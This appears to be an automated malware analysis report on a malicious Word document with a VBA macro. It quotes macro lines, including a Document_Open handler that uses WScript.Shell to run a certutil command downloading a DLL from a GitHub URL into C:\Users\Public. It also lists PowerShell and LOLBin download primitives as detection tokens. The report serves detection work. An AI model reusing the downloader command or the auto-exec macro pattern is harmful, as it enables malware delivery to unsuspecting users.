Malicious Office (OOXML) — malware analysis report

Heuristics 8

• VBA project inside OOXML medium 6 related findings OOXML_VBA
  Document contains a VBA project — VBA macros present
• WScript.Shell usage critical OLE_VBA_WSCRIPT
  WScript.Shell usage
  Matched line in script

  Set objShell = CreateObject("Wscript.Shell")

• LOLBin reference in VBA critical OLE_VBA_LOLBIN
  LOLBin reference in VBA
  Matched line in script

  objShell.Run "certutil.exe -urlcache -split -f https://github.com/dingo-dev/templates/raw/master/template.v1.2.dll C:\Users\Public\security.dll", 0, True

• VBA stages a PowerShell/LOLBin download-and-run command critical OLE_VBA_BITSTRANSFER_DROPPER
  The macro assembles a download command using a PowerShell or LOLBin download primitive (Start-BitsTransfer, Invoke-WebRequest, Net.WebClient, bitsadmin, certutil, ...) that fetches a remote payload, then executes it -- writing it to a script file and running it, or launching it directly from an auto-exec handler. The keywords are commonly split with PowerShell backtick / cmd caret escapes to evade scanners; this detection de-escapes the source first. A high-confidence downloader/dropper, stronger than the individual Shell / download keywords on their own.
  Matched line in script

  Sub Document_Open()

• CreateObject call high OLE_VBA_CREATEOBJ
  CreateObject call
  Matched line in script

  Set objShell = CreateObject("Wscript.Shell")

• VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
  Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
• Document_Open macro low OLE_VBA_DOCOPEN
  Document_Open macro
  Matched line in script

  Sub Document_Open()

• Embedded URL info EMBEDDED_URL
  One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
  URL https://github.com/dingo-dev/templates/raw/master/template.v1.2.dll In document text (OOXML body / shared strings)

  • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
  • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
  • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
  • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
  • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
  • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
  • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

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